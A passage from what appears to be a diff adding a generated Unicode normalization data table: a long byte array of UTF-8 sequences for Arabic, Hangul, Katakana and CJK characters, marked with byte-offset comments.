0xDA, 0x88, + 0x42, 0xDA, 0x8C, 0x42, 0xDA, 0x8D, 0x42, 0xDA, + 0x8E, 0x42, 0xDA, 0x91, 0x42, 0xDA, 0x98, 0x42, + // Bytes 3c0 - 3ff + 0xDA, 0xA1, 0x42, 0xDA, 0xA4, 0x42, 0xDA, 0xA6, + 0x42, 0xDA, 0xA9, 0x42, 0xDA, 0xAD, 0x42, 0xDA, + 0xAF, 0x42, 0xDA, 0xB1, 0x42, 0xDA, 0xB3, 0x42, + 0xDA, 0xBA, 0x42, 0xDA, 0xBB, 0x42, 0xDA, 0xBE, + 0x42, 0xDB, 0x81, 0x42, 0xDB, 0x85, 0x42, 0xDB, + 0x86, 0x42, 0xDB, 0x87, 0x42, 0xDB, 0x88, 0x42, + 0xDB, 0x89, 0x42, 0xDB, 0x8B, 0x42, 0xDB, 0x8C, + 0x42, 0xDB, 0x90, 0x42, 0xDB, 0x92, 0x43, 0xE0, + // Bytes 400 - 43f + 0xBC, 0x8B, 0x43, 0xE1, 0x83, 0x9C, 0x43, 0xE1, + 0x84, 0x80, 0x43, 0xE1, 0x84, 0x81, 0x43, 0xE1, + 0x84, 0x82, 0x43, 0xE1, 0x84, 0x83, 0x43, 0xE1, + 0x84, 0x84, 0x43, 0xE1, 0x84, 0x85, 0x43, 0xE1, + 0x84, 0x86, 0x43, 0xE1, 0x84, 0x87, 0x43, 0xE1, + 0x84, 0x88, 0x43, 0xE1, 0x84, 0x89, 0x43, 0xE1, + 0x84, 0x8A, 0x43, 0xE1, 0x84, 0x8B, 0x43, 0xE1, + 0x84, 0x8C, 0x43, 0xE1, 0x84, 0x8D, 0x43, 0xE1, + // Bytes 440 - 47f + 0x84, 0x8E, 0x43, 0xE1, 0x84, 0x8F, 0x43, 0xE1, + 0x84, 0x90, 0x43, 0xE1, 0x84, 0x91, 0x43, 0xE1, + 0x84, 0x92, 0x43, 0xE1, 0x84, 0x94, 0x43, 0xE1, + 0x84, 0x95, 0x43, 0xE1, 0x84, 0x9A, 0x43, 0xE1, + 0x84, 0x9C, 0x43, 0xE1, 0x84, 0x9D, 0x43, 0xE1, + 0x84, 0x9E, 0x43, 0xE1, 0x84, 0xA0, 0x43, 0xE1, + 0x84, 0xA1, 0x43, 0xE1, 0x84, 0xA2, 0x43, 0xE1, + 0x84, 0xA3, 0x43, 0xE1, 0x84, 0xA7, 0x43, 0xE1, + // Bytes 480 - 4bf + 0x84, 0xA9, 0x43, 0xE1, 0x84, 0xAB, 0x43, 0xE1, + 0x84, 0xAC, 0x43, 0xE1, 0x84, 0xAD, 0x43, 0xE1, + 0x84, 0xAE, 0x43, 0xE1, 0x84, 0xAF, 0x43, 0xE1, + 0x84, 0xB2, 0x43, 0xE1, 0x84, 0xB6, 0x43, 0xE1, + 0x85, 0x80, 0x43, 0xE1, 0x85, 0x87, 0x43, 0xE1, + 0x85, 0x8C, 0x43, 0xE1, 0x85, 0x97, 0x43, 0xE1, + 0x85, 0x98, 0x43, 0xE1, 0x85, 0x99, 0x43, 0xE1, + 0x85, 0xA0, 0x43, 0xE1, 0x86, 0x84, 0x43, 0xE1, + // Bytes 4c0 - 4ff + 0x86, 0x85, 0x43, 0xE1, 0x86, 0x88, 0x43, 0xE1, + 0x86, 0x91, 0x43, 0xE1, 0x86, 0x92, 0x43, 0xE1, + 0x86, 0x94, 0x43, 0xE1, 0x86, 0x9E, 0x43, 0xE1, + 0x86, 0xA1, 0x43, 0xE1, 0x87, 0x87, 0x43, 0xE1, + 0x87, 0x88, 0x43, 0xE1, 0x87, 0x8C, 0x43, 0xE1, + 0x87, 0x8E, 0x43, 0xE1, 0x87, 0x93, 0x43, 0xE1, + 0x87, 0x97, 0x43, 0xE1, 0x87, 0x99, 0x43, 0xE1, + 0x87, 0x9D, 0x43, 0xE1, 0x87, 0x9F, 0x43, 0xE1, + // Bytes 500 - 53f + 0x87, 0xB1, 0x43, 0xE1, 0x87, 0xB2, 0x43, 0xE1, + 0xB4, 0x82, 0x43, 0xE1, 0xB4, 0x96, 0x43, 0xE1, + 0xB4, 0x97, 0x43, 0xE1, 0xB4, 0x9C, 0x43, 0xE1, + 0xB4, 0x9D, 0x43, 0xE1, 0xB4, 0xA5, 0x43, 0xE1, + 0xB5, 0xBB, 0x43, 0xE1, 0xB6, 0x85, 0x43, 0xE1, + 0xB6, 0x91, 0x43, 0xE2, 0x80, 0x82, 0x43, 0xE2, + 0x80, 0x83, 0x43, 0xE2, 0x80, 0x90, 0x43, 0xE2, + 0x80, 0x93, 0x43, 0xE2, 0x80, 0x94, 0x43, 0xE2, + // Bytes 540 - 57f + 0x82, 0xA9, 0x43, 0xE2, 0x86, 0x90, 0x43, 0xE2, + 0x86, 0x91, 0x43, 0xE2, 0x86, 0x92, 0x43, 0xE2, + 0x86, 0x93, 0x43, 0xE2, 0x88, 0x82, 0x43, 0xE2, + 0x88, 0x87, 0x43, 0xE2, 0x88, 0x91, 0x43, 0xE2, + 0x88, 0x92, 0x43, 0xE2, 0x94, 0x82, 0x43, 0xE2, + 0x96, 0xA0, 0x43, 0xE2, 0x97, 0x8B, 0x43, 0xE2, + 0xA6, 0x85, 0x43, 0xE2, 0xA6, 0x86, 0x43, 0xE2, + 0xB1, 0xB1, 0x43, 0xE2, 0xB5, 0xA1, 0x43, 0xE3, + // Bytes 580 - 5bf + 0x80, 0x81, 0x43, 0xE3, 0x80, 0x82, 0x43, 0xE3, + 0x80, 0x88, 0x43, 0xE3, 0x80, 0x89, 0x43, 0xE3, + 0x80, 0x8A, 0x43, 0xE3, 0x80, 0x8B, 0x43, 0xE3, + 0x80, 0x8C, 0x43, 0xE3, 0x80, 0x8D, 0x43, 0xE3, + 0x80, 0x8E, 0x43, 0xE3, 0x80, 0x8F, 0x43, 0xE3, + 0x80, 0x90, 0x43, 0xE3, 0x80, 0x91, 0x43, 0xE3, + 0x80, 0x92, 0x43, 0xE3, 0x80, 0x94, 0x43, 0xE3, + 0x80, 0x95, 0x43, 0xE3, 0x80, 0x96, 0x43, 0xE3, + // Bytes 5c0 - 5ff + 0x80, 0x97, 0x43, 0xE3, 0x82, 0xA1, 0x43, 0xE3, + 0x82, 0xA2, 0x43, 0xE3, 0x82, 0xA3, 0x43, 0xE3, + 0x82, 0xA4, 0x43, 0xE3, 0x82, 0xA5, 0x43, 0xE3, + 0x82, 0xA6, 0x43, 0xE3, 0x82, 0xA7, 0x43, 0xE3, + 0x82, 0xA8, 0x43, 0xE3, 0x82, 0xA9, 0x43, 0xE3, + 0x82, 0xAA, 0x43, 0xE3, 0x82, 0xAB, 0x43, 0xE3, + 0x82, 0xAD, 0x43, 0xE3, 0x82, 0xAF, 0x43, 0xE3, + 0x82, 0xB1, 0x43, 0xE3, 0x82, 0xB3, 0x43, 0xE3, + // Bytes 600 - 63f + 0x82, 0xB5, 0x43, 0xE3, 0x82, 0xB7, 0x43, 0xE3, + 0x82, 0xB9, 0x43, 0xE3, 0x82, 0xBB, 0x43, 0xE3, + 0x82, 0xBD, 0x43, 0xE3, 0x82, 0xBF, 0x43, 0xE3, + 0x83, 0x81, 0x43, 0xE3, 0x83, 0x83, 0x43, 0xE3, + 0x83, 0x84, 0x43, 0xE3, 0x83, 0x86, 0x43, 0xE3, + 0x83, 0x88, 0x43, 0xE3, 0x83, 0x8A, 0x43, 0xE3, + 0x83, 0x8B, 0x43, 0xE3, 0x83, 0x8C, 0x43, 0xE3, + 0x83, 0x8D, 0x43, 0xE3, 0x83, 0x8E, 0x43, 0xE3, + // Bytes 640 - 67f + 0x83, 0x8F, 0x43, 0xE3, 0x83, 0x92, 0x43, 0xE3, + 0x83, 0x95, 0x43, 0xE3, 0x83, 0x98, 0x43, 0xE3, + 0x83, 0x9B, 0x43, 0xE3, 0x83, 0x9E, 0x43, 0xE3, + 0x83, 0x9F, 0x43, 0xE3, 0x83, 0xA0, 0x43, 0xE3, + 0x83, 0xA1, 0x43, 0xE3, 0x83, 0xA2, 0x43, 0xE3, + 0x83, 0xA3, 0x43, 0xE3, 0x83, 0xA4, 0x43, 0xE3, + 0x83, 0xA5, 0x43, 0xE3, 0x83, 0xA6, 0x43, 0xE3, + 0x83, 0xA7, 0x43, 0xE3, 0x83, 0xA8, 0x43, 0xE3, + // Bytes 680 - 6bf + 0x83, 0xA9, 0x43, 0xE3, 0x83, 0xAA, 0x43, 0xE3, + 0x83, 0xAB, 0x43, 0xE3, 0x83, 0xAC, 0x43, 0xE3, + 0x83, 0xAD, 0x43, 0xE3, 0x83, 0xAF, 0x43, 0xE3, + 0x83, 0xB0, 0x43, 0xE3, 0x83, 0xB1, 0x43, 0xE3, + 0x83, 0xB2, 0x43, 0xE3, 0x83, 0xB3, 0x43, 0xE3, + 0x83, 0xBB, 0x43, 0xE3, 0x83, 0xBC, 0x43, 0xE3, + 0x92, 0x9E, 0x43, 0xE3, 0x92, 0xB9, 0x43, 0xE3, + 0x92, 0xBB, 0x43, 0xE3, 0x93, 0x9F, 0x43, 0xE3, + // Bytes 6c0 - 6ff + 0x94, 0x95, 0x43, 0xE3, 0x9B, 0xAE, 0x43, 0xE3, + 0x9B, 0xBC, 0x43, 0xE3, 0x9E, 0x81, 0x43, 0xE3, + 0xA0, 0xAF, 0x43, 0xE3, 0xA1, 0xA2, 0x43, 0xE3, + 0xA1, 0xBC, 0x43, 0xE3, 0xA3, 0x87, 0x43, 0xE3, + 0xA3, 0xA3, 0x43, 0xE3, 0xA4, 0x9C, 0x43, 0xE3, + 0xA4, 0xBA, 0x43, 0xE3, 0xA8, 0xAE, 0x43, 0xE3, + 0xA9, 0xAC, 0x43, 0xE3, 0xAB, 0xA4, 0x43, 0xE3, + 0xAC, 0x88, 0x43, 0xE3, 0xAC, 0x99, 0x43, 0xE3, + // Bytes 700 - 73f + 0xAD, 0x89, 0x43, 0xE3, 0xAE, 0x9D, 0x43, 0xE3, + 0xB0, 0x98, 0x43, 0xE3, 0xB1, 0x8E, 0x43, 0xE3, + 0xB4, 0xB3, 0x43, 0xE3, 0xB6, 0x96, 0x43, 0xE3, + 0xBA, 0xAC, 0x43, 0xE3, 0xBA, 0xB8, 0x43, 0xE3, + 0xBC, 0x9B, 0x43, 0xE3, 0xBF, 0xBC, 0x43, 0xE4, + 0x80, 0x88, 0x43, 0xE4, 0x80, 0x98, 0x43, 0xE4, + 0x80, 0xB9, 0x43, 0xE4, 0x81, 0x86, 0x43, 0xE4, + 0x82, 0x96, 0x43, 0xE4, 0x83, 0xA3, 0x43, 0xE4, + // Bytes 740 - 77f + 0x84, 0xAF, 0x43, 0xE4, 0x88, 0x82, 0x43, 0xE4, + 0x88, 0xA7, 0x43, 0xE4, 0x8A, 0xA0, 0x43, 0xE4, + 0x8C, 0x81, 0x43, 0xE4, 0x8C, 0xB4, 0x43, 0xE4, + 0x8D, 0x99, 0x43, 0xE4, 0x8F, 0x95, 0x43, 0xE4, + 0x8F, 0x99, 0x43, 0xE4, 0x90, 0x8B, 0x43, 0xE4, + 0x91, 0xAB, 0x43, 0xE4, 0x94, 0xAB, 0x43, 0xE4, + 0x95, 0x9D, 0x43, 0xE4, 0x95, 0xA1, 0x43, 0xE4, + 0x95, 0xAB, 0x43, 0xE4, 0x97, 0x97, 0x43, 0xE4, + // Bytes 780 - 7bf + 0x97, 0xB9, 0x43, 0xE4, 0x98, 0xB5, 0x43, 0xE4, + 0x9A, 0xBE, 0x43, 0xE4, 0x9B, 0x87, 0x43, 0xE4, + 0xA6, 0x95, 0x43, 0xE4, 0xA7, 0xA6, 0x43, 0xE4, + 0xA9, 0xAE, 0x43, 0xE4, 0xA9, 0xB6, 0x43, 0xE4, + 0xAA, 0xB2, 0x43, 0xE4, 0xAC, 0xB3, 0x43, 0xE4, + 0xAF, 0x8E, 0x43, 0xE4, 0xB3, 0x8E, 0x43, 0xE4, + 0xB3, 0xAD, 0x43, 0xE4, 0xB3, 0xB8, 0x43, 0xE4, + 0xB5, 0x96, 0x43, 0xE4, 0xB8, 0x80, 0x43, 0xE4, + // Bytes 7c0 - 7ff + 0xB8, 0x81, 0x43, 0xE4, 0xB8, 0x83, 0x43, 0xE4, + 0xB8, 0x89, 0x43, 0xE4, 0xB8, 0x8A, 0x43, 0xE4, + 0xB8, 0x8B, 0x43, 0xE4, 0xB8, 0x8D, 0x43, 0xE4, + 0xB8, 0x99, 0x43, 0xE4, 0xB8, 0xA6, 0x43, 0xE4, + 0xB8, 0xA8, 0x43, 0xE4, 0xB8, 0xAD, 0x43, 0xE4, + 0xB8, 0xB2, 0x43, 0xE4, 0xB8, 0xB6, 0x43, 0xE4, + 0xB8, 0xB8, 0x43, 0xE4, 0xB8, 0xB9, 0x43, 0xE4, + 0xB8, 0xBD, 0x43, 0xE4, 0xB8, 0xBF, 0x43, 0xE4, + // Bytes 800 - 83f + 0xB9, 0x81, 0x43, 0xE4, 0xB9, 0x99, 0x43, 0xE4, + 0xB9, 0x9D, 0x43, 0xE4, 0xBA, 0x82, 0x43, 0xE4, + 0xBA, 0x85, 0x43, 0xE4, 0xBA, 0x86, 0x43, 0xE4, + 0xBA, 0x8C, 0x43, 0xE4, 0xBA, 0x94, 0x43, 0xE4, + 0xBA, 0xA0, 0x43, 0xE4, 0xBA, 0xA4, 0x43, 0xE4, + 0xBA, 0xAE, 0x43, 0xE4, 0xBA, 0xBA, 0x43, 0xE4, + 0xBB, 0x80, 0x43, 0xE4, 0xBB, 0x8C, 0x43, 0xE4, + 0xBB, 0xA4, 0x43, 0xE4, 0xBC, 0x81, 0x43, 0xE4, + // Bytes 840 - 87f + 0xBC, 0x91, 0x43, 0xE4, 0xBD, 0xA0, 0x43, 0xE4, + 0xBE, 0x80, 0x43, 0xE4, 0xBE, 0x86, 0x43, 0xE4, + 0xBE, 0x8B, 0x43, 0xE4, 0xBE, 0xAE, 0x43, 0xE4, + 0xBE, 0xBB, 0x43, 0xE4, 0xBE, 0xBF, 0x43, 0xE5, + 0x80, 0x82, 0x43, 0xE5, 0x80, 0xAB, 0x43, 0xE5, + 0x81, 0xBA, 0x43, 0xE5, 0x82, 0x99, 0x43, 0xE5, + 0x83, 0x8F, 0x43, 0xE5, 0x83, 0x9A, 0x43, 0xE5, + 0x83, 0xA7, 0x43, 0xE5, 0x84, 0xAA, 0x43, 0xE5, + // Bytes 880 - 8bf + 0x84, 0xBF, 0x43, 0xE5, 0x85, 0x80, 0x43, 0xE5, + 0x85, 0x85, 0x43, 0xE5, 0x85, 0x8D, 0x43, 0xE5, + 0x85, 0x94, 0x43, 0xE5, 0x85, 0xA4, 0x43, 0xE5, + 0x85, 0xA5, 0x43, 0xE5, 0x85, 0xA7, 0x43, 0xE5, + 0x85, 0xA8, 0x43, 0xE5, 0x85, 0xA9, 0x43, 0xE5, + 0x85, 0xAB, 0x43, 0xE5, 0x85, 0xAD, 0x43, 0xE5, + 0x85, 0xB7, 0x43, 0xE5, 0x86, 0x80, 0x43, 0xE5, + 0x86, 0x82, 0x43, 0xE5, 0x86, 0x8D, 0x43, 0xE5, + // Bytes 8c0 - 8ff + 0x86, 0x92, 0x43, 0xE5, 0x86, 0x95, 0x43, 0xE5, + 0x86, 0x96, 0x43, 0xE5, 0x86, 0x97, 0x43, 0xE5, + 0x86, 0x99, 0x43, 0xE5, 0x86, 0xA4, 0x43, 0xE5, + 0x86, 0xAB, 0x43, 0xE5, 0x86, 0xAC, 0x43, 0xE5, + 0x86, 0xB5, 0x43, 0xE5, 0x86, 0xB7, 0x43, 0xE5, + 0x87, 0x89, 0x43, 0xE5, 0x87, 0x8C, 0x43, 0xE5, + 0x87, 0x9C, 0x43, 0xE5, 0x87, 0x9E, 0x43, 0xE5, + 0x87, 0xA0, 0x43, 0xE5, 0x87, 0xB5, 0x43, 0xE5, + // Bytes 900 - 93f + 0x88, 0x80, 0x43, 0xE5, 0x88, 0x83, 0x43, 0xE5, + 0x88, 0x87, 0x43, 0xE5, 0x88, 0x97, 0x43, 0xE5, + 0x88, 0x9D, 0x43, 0xE5, 0x88, 0xA9, 0x43, 0xE5, + 0x88, 0xBA, 0x43, 0xE5, 0x88, 0xBB, 0x43, 0xE5, + 0x89, 0x86, 0x43, 0xE5, 0x89, 0x8D, 0x43, 0xE5, + 0x89, 0xB2, 0x43, 0xE5, 0x89, 0xB7, 0x43, 0xE5, + 0x8A, 0x89, 0x43, 0xE5, 0x8A, 0x9B, 0x43, 0xE5, + 0x8A, 0xA3, 0x43, 0xE5, 0x8A, 0xB3, 0x43, 0xE5, + // Bytes 940 - 97f + 0x8A, 0xB4, 0x43, 0xE5, 0x8B, 0x87, 0x43, 0xE5, + 0x8B, 0x89, 0x43, 0xE5, 0x8B, 0x92, 0x43, 0xE5, + 0x8B, 0x9E, 0x43, 0xE5, 0x8B, 0xA4, 0x43, 0xE5, + 0x8B, 0xB5, 0x43, 0xE5, 0x8B, 0xB9, 0x43, 0xE5, + 0x8B, 0xBA, 0x43, 0xE5, 0x8C, 0x85, 0x43, 0xE5, + 0x8C, 0x86, 0x43, 0xE5, 0x8C, 0x95, 0x43, 0xE5, + 0x8C, 0x97, 0x43, 0xE5, 0x8C, 0x9A, 0x43, 0xE5, + 0x8C, 0xB8, 0x43, 0xE5, 0x8C, 0xBB, 0x43, 0xE5, + // Bytes 980 - 9bf + 0x8C, 0xBF, 0x43, 0xE5, 0x8D, 0x81, 0x43, 0xE5, + 0x8D, 0x84, 0x43, 0xE5, 0x8D, 0x85, 0x43, 0xE5, + 0x8D, 0x89, 0x43, 0xE5, 0x8D, 0x91, 0x43, 0xE5, + 0x8D, 0x94, 0x43, 0xE5, 0x8D, 0x9A, 0x43, 0xE5, + 0x8D, 0x9C, 0x43, 0xE5, 0x8D, 0xA9, 0x43, 0xE5, + 0x8D, 0xB0, 0x43, 0xE5, 0x8D, 0xB3, 0x43, 0xE5, + 0x8D, 0xB5, 0x43, 0xE5, 0x8D, 0xBD, 0x43, 0xE5, + 0x8D, 0xBF, 0x43, 0xE5, 0x8E, 0x82, 0x43, 0xE5, + // Bytes 9c0 - 9ff + 0x8E, 0xB6, 0x43, 0xE5, 0x8F, 0x83, 0x43, 0xE5, + 0x8F, 0x88, 0x43, 0xE5, 0x8F, 0x8A, 0x43, 0xE5, + 0x8F, 0x8C, 0x43, 0xE5, 0x8F, 0x9F, 0x43, 0xE5, + 0x8F, 0xA3, 0x43, 0xE5, 0x8F, 0xA5, 0x43, 0xE5, + 0x8F, 0xAB, 0x43, 0xE5, 0x8F, 0xAF, 0x43, 0xE5, + 0x8F, 0xB1, 0x43, 0xE5, 0x8F, 0xB3, 0x43, 0xE5, + 0x90, 0x86, 0x43, 0xE5, 0x90, 0x88, 0x43, 0xE5, + 0x90, 0x8D, 0x43, 0xE5, 0x90, 0x8F, 0x43, 0xE5, + // Bytes a00 - a3f + 0x90, 0x9D, 0x43, 0xE5, 0x90, 0xB8, 0x43, 0xE5, + 0x90, 0xB9, 0x43, 0xE5, 0x91, 0x82, 0x43, 0xE5, + 0x91, 0x88, 0x43, 0xE5, 0x91, 0xA8, 0x43, 0xE5, + 0x92, 0x9E, 0x43, 0xE5, 0x92, 0xA2, 0x43, 0xE5, + 0x92, 0xBD, 0x43, 0xE5, 0x93, 0xB6, 0x43, 0xE5, + 0x94, 0x90, 0x43, 0xE5, 0x95, 0x8F, 0x43, 0xE5, + 0x95, 0x93, 0x43, 0xE5, 0x95, 0x95, 0x43, 0xE5, + 0x95, 0xA3, 0x43, 0xE5, 0x96, 0x84, 0x43, 0xE5, + // Bytes a40 - a7f + 0x96, 0x87, 0x43, 0xE5, 0x96, 0x99, 0x43, 0xE5, + 0x96, 0x9D, 0x43, 0xE5, 0x96, 0xAB, 0x43, 0xE5, + 0x96, 0xB3, 0x43, 0xE5, 0x96, 0xB6, 0x43, 0xE5, + 0x97, 0x80, 0x43, 0xE5, 0x97, 0x82, 0x43, 0xE5, + 0x97, 0xA2, 0x43, 0xE5, 0x98, 0x86, 0x43, 0xE5, + 0x99, 0x91, 0x43, 0xE5, 0x99, 0xA8, 0x43, 0xE5, + 0x99, 0xB4, 0x43, 0xE5, 0x9B, 0x97, 0x43, 0xE5, + 0x9B, 0x9B, 0x43, 0xE5, 0x9B, 0xB9, 0x43, 0xE5, + // Bytes a80 - abf + 0x9C, 0x96, 0x43, 0xE5, 0x9C, 0x97, 0x43, 0xE5, + 0x9C, 0x9F, 0x43, 0xE5, 0x9C, 0xB0, 0x43, 0xE5, + 0x9E, 0x8B, 0x43, 0xE5, 0x9F, 0x8E, 0x43, 0xE5, + 0x9F, 0xB4, 0x43, 0xE5, 0xA0, 0x8D, 0x43, 0xE5, + 0xA0, 0xB1, 0x43, 0xE5, 0xA0, 0xB2, 0x43, 0xE5, + 0xA1, 0x80, 0x43, 0xE5, 0xA1, 0x9A, 0x43, 0xE5, + 0xA1, 0x9E, 0x43, 0xE5, 0xA2, 0xA8, 0x43, 0xE5, + 0xA2, 0xAC, 0x43, 0xE5, 0xA2, 0xB3, 0x43, 0xE5, + // Bytes ac0 - aff + 0xA3, 0x98, 0x43, 0xE5, 0xA3, 0x9F, 0x43, 0xE5, + 0xA3, 0xAB, 0x43, 0xE5, 0xA3, 0xAE, 0x43, 0xE5, + 0xA3, 0xB0, 0x43, 0xE5, 0xA3, 0xB2, 0x43, 0xE5, + 0xA3, 0xB7, 0x43, 0xE5, 0xA4, 0x82, 0x43, 0xE5, + 0xA4, 0x86, 0x43, 0xE5, 0xA4, 0x8A, 0x43, 0xE5, + 0xA4, 0x95, 0x43, 0xE5, 0xA4, 0x9A, 0x43, 0xE5, + 0xA4, 0x9C, 0x43, 0xE5, 0xA4, 0xA2, 0x43, 0xE5, + 0xA4, 0xA7, 0x43, 0xE5, 0xA4, 0xA9, 0x43, 0xE5, + // Bytes b00 - b3f + 0xA5, 0x84, 0x43, 0xE5, 0xA5, 0x88, 0x43, 0xE5, + 0xA5, 0x91, 0x43, 0xE5, 0xA5, 0x94, 0x43, 0xE5, + 0xA5, 0xA2, 0x43, 0xE5, 0xA5, 0xB3, 0x43, 0xE5, + 0xA7, 0x98, 0x43, 0xE5, 0xA7, 0xAC, 0x43, 0xE5, + 0xA8, 0x9B, 0x43, 0xE5, 0xA8, 0xA7, 0x43, 0xE5, + 0xA9, 0xA2, 0x43, 0xE5, 0xA9, 0xA6, 0x43, 0xE5, + 0xAA, 0xB5, 0x43, 0xE5, 0xAC, 0x88, 0x43, 0xE5, + 0xAC, 0xA8, 0x43, 0xE5, 0xAC, 0xBE, 0x43, 0xE5, + // Bytes b40 - b7f + 0xAD, 0x90, 0x43, 0xE5, 0xAD, 0x97, 0x43, 0xE5, + 0xAD, 0xA6, 0x43, 0xE5, 0xAE, 0x80, 0x43, 0xE5, + 0xAE, 0x85, 0x43, 0xE5, 0xAE, 0x97, 0x43, 0xE5, + 0xAF, 0x83, 0x43, 0xE5, 0xAF, 0x98, 0x43, 0xE5, + 0xAF, 0xA7, 0x43, 0xE5, 0xAF, 0xAE, 0x43, 0xE5, + 0xAF, 0xB3, 0x43, 0xE5, 0xAF, 0xB8, 0x43, 0xE5, + 0xAF, 0xBF, 0x43, 0xE5, 0xB0, 0x86, 0x43, 0xE5, + 0xB0, 0x8F, 0x43, 0xE5, 0xB0, 0xA2, 0x43, 0xE5, + // Bytes b80 - bbf + 0xB0, 0xB8, 0x43, 0xE5, 0xB0, 0xBF, 0x43, 0xE5, + 0xB1, 0xA0, 0x43, 0xE5, 0xB1, 0xA2, 0x43, 0xE5, + 0xB1, 0xA4, 0x43, 0xE5, 0xB1, 0xA5, 0x43, 0xE5, + 0xB1, 0xAE, 0x43, 0xE5, 0xB1, 0xB1, 0x43, 0xE5, + 0xB2, 0x8D, 0x43, 0xE5, 0xB3, 0x80, 0x43, 0xE5, + 0xB4, 0x99, 0x43, 0xE5, 0xB5, 0x83, 0x43, 0xE5, + 0xB5, 0x90, 0x43, 0xE5, 0xB5, 0xAB, 0x43, 0xE5, + 0xB5, 0xAE, 0x43, 0xE5, 0xB5, 0xBC, 0x43, 0xE5, + // Bytes bc0 - bff + 0xB6, 0xB2, 0x43, 0xE5, 0xB6, 0xBA, 0x43, 0xE5, + 0xB7, 0x9B, 0x43, 0xE5, 0xB7, 0xA1, 0x43, 0xE5, + 0xB7, 0xA2, 0x43, 0xE5, 0xB7, 0xA5, 0x43, 0xE5, + 0xB7, 0xA6, 0x43, 0xE5, 0xB7, 0xB1, 0x43, 0xE5, + 0xB7, 0xBD, 0x43, 0xE5, 0xB7, 0xBE, 0x43, 0xE5, + 0xB8, 0xA8, 0x43, 0xE5, 0xB8, 0xBD, 0x43, 0xE5, + 0xB9, 0xA9, 0x43, 0xE5, 0xB9, 0xB2, 0x43, 0xE5, + 0xB9, 0xB4, 0x43, 0xE5, 0xB9, 0xBA, 0x43, 0xE5, + // Bytes c00 - c3f + 0xB9, 0xBC, 0x43, 0xE5, 0xB9, 0xBF, 0x43, 0xE5, + 0xBA, 0xA6, 0x43, 0xE5, 0xBA, 0xB0, 0x43, 0xE5, + 0xBA, 0xB3, 0x43, 0xE5, 0xBA, 0xB6, 0x43, 0xE5, + 0xBB, 0x89, 0x43, 0xE5, 0xBB, 0x8A, 0x43, 0xE5, + 0xBB, 0x92, 0x43, 0xE5, 0xBB, 0x93, 0x43, 0xE5, + 0xBB, 0x99, 0x43, 0xE5, 0xBB, 0xAC, 0x43, 0xE5, + 0xBB, 0xB4, 0x43, 0xE5, 0xBB, 0xBE, 0x43, 0xE5, + 0xBC, 0x84, 0x43, 0xE5, 0xBC, 0x8B, 0x43, 0xE5, + // Bytes c40 - c7f + 0xBC, 0x93, 0x43, 0xE5, 0xBC, 0xA2, 0x43, 0xE5, + 0xBD, 0x90, 0x43, 0xE5, 0xBD, 0x93, 0x43, 0xE5, + 0xBD, 0xA1, 0x43, 0xE5, 0xBD, 0xA2, 0x43, 0xE5, + 0xBD, 0xA9, 0x43, 0xE5, 0xBD, 0xAB, 0x43, 0xE5, + 0xBD, 0xB3, 0x43, 0xE5, 0xBE, 0x8B, 0x43, 0xE5, + 0xBE, 0x8C, 0x43, 0xE5, 0xBE, 0x97, 0x43, 0xE5, + 0xBE, 0x9A, 0x43, 0xE5, 0xBE, 0xA9, 0x43, 0xE5, + 0xBE, 0xAD, 0x43, 0xE5, 0xBF, 0x83, 0x43, 0xE5, + // Bytes c80 - cbf + 0xBF, 0x8D, 0x43, 0xE5, 0xBF, 0x97, 0x43, 0xE5, + 0xBF, 0xB5, 0x43, 0xE5, 0xBF, 0xB9, 0x43, 0xE6, + 0x80, 0x92, 0x43, 0xE6, 0x80, 0x9C, 0x43, 0xE6, + 0x81, 0xB5, 0x43, 0xE6, 0x82, 0x81, 0x43, 0xE6, + 0x82, 0x94, 0x43, 0xE6, 0x83, 0x87, 0x43, 0xE6, + 0x83, 0x98, 0x43, 0xE6, 0x83, 0xA1, 0x43, 0xE6, + 0x84, 0x88, 0x43, 0xE6, 0x85, 0x84, 0x43, 0xE6, + 0x85, 0x88, 0x43, 0xE6, 0x85, 0x8C, 0x43, 0xE6, + // Bytes cc0 - cff + 0x85, 0x8E, 0x43, 0xE6, 0x85, 0xA0, 0x43, 0xE6, + 0x85, 0xA8, 0x43, 0xE6, 0x85, 0xBA, 0x43, 0xE6, + 0x86, 0x8E, 0x43, 0xE6, 0x86, 0x90, 0x43, 0xE6, + 0x86, 0xA4, 0x43, 0xE6, 0x86, 0xAF, 0x43, 0xE6, + 0x86, 0xB2, 0x43, 0xE6, 0x87, 0x9E, 0x43, 0xE6, + 0x87, 0xB2, 0x43, 0xE6, 0x87, 0xB6, 0x43, 0xE6, + 0x88, 0x80, 0x43, 0xE6, 0x88, 0x88, 0x43, 0xE6, + 0x88, 0x90, 0x43, 0xE6, 0x88, 0x9B, 0x43, 0xE6, + // Bytes d00 - d3f + 0x88, 0xAE, 0x43, 0xE6, 0x88, 0xB4, 0x43, 0xE6, + 0x88, 0xB6, 0x43, 0xE6, 0x89, 0x8B, 0x43, 0xE6, + 0x89, 0x93, 0x43, 0xE6, 0x89, 0x9D, 0x43, 0xE6, + 0x8A, 0x95, 0x43, 0xE6, 0x8A, 0xB1, 0x43, 0xE6, + 0x8B, 0x89, 0x43, 0xE6, 0x8B, 0x8F, 0x43, 0xE6, + 0x8B, 0x93, 0x43, 0xE6, 0x8B, 0x94, 0x43, 0xE6, + 0x8B, 0xBC, 0x43, 0xE6, 0x8B, 0xBE, 0x43, 0xE6, + 0x8C, 0x87, 0x43, 0xE6, 0x8C, 0xBD, 0x43, 0xE6, + // Bytes d40 - d7f + 0x8D, 0x90, 0x43, 0xE6, 0x8D, 0x95, 0x43, 0xE6, + 0x8D, 0xA8, 0x43, 0xE6, 0x8D, 0xBB, 0x43, 0xE6, + 0x8E, 0x83, 0x43, 0xE6, 0x8E, 0xA0, 0x43, 0xE6, + 0x8E, 0xA9, 0x43, 0xE6, 0x8F, 0x84, 0x43, 0xE6, + 0x8F, 0x85, 0x43, 0xE6, 0x8F, 0xA4, 0x43, 0xE6, + 0x90, 0x9C, 0x43, 0xE6, 0x90, 0xA2, 0x43, 0xE6, + 0x91, 0x92, 0x43, 0xE6, 0x91, 0xA9, 0x43, 0xE6, + 0x91, 0xB7, 0x43, 0xE6, 0x91, 0xBE, 0x43, 0xE6, + // Bytes d80 - dbf + 0x92, 0x9A, 0x43, 0xE6, 0x92, 0x9D, 0x43, 0xE6, + 0x93, 0x84, 0x43, 0xE6, 0x94, 0xAF, 0x43, 0xE6, + 0x94, 0xB4, 0x43, 0xE6, 0x95, 0x8F, 0x43, 0xE6, + 0x95, 0x96, 0x43, 0xE6, 0x95, 0xAC, 0x43, 0xE6, + 0x95, 0xB8, 0x43, 0xE6, 0x96, 0x87, 0x43, 0xE6, + 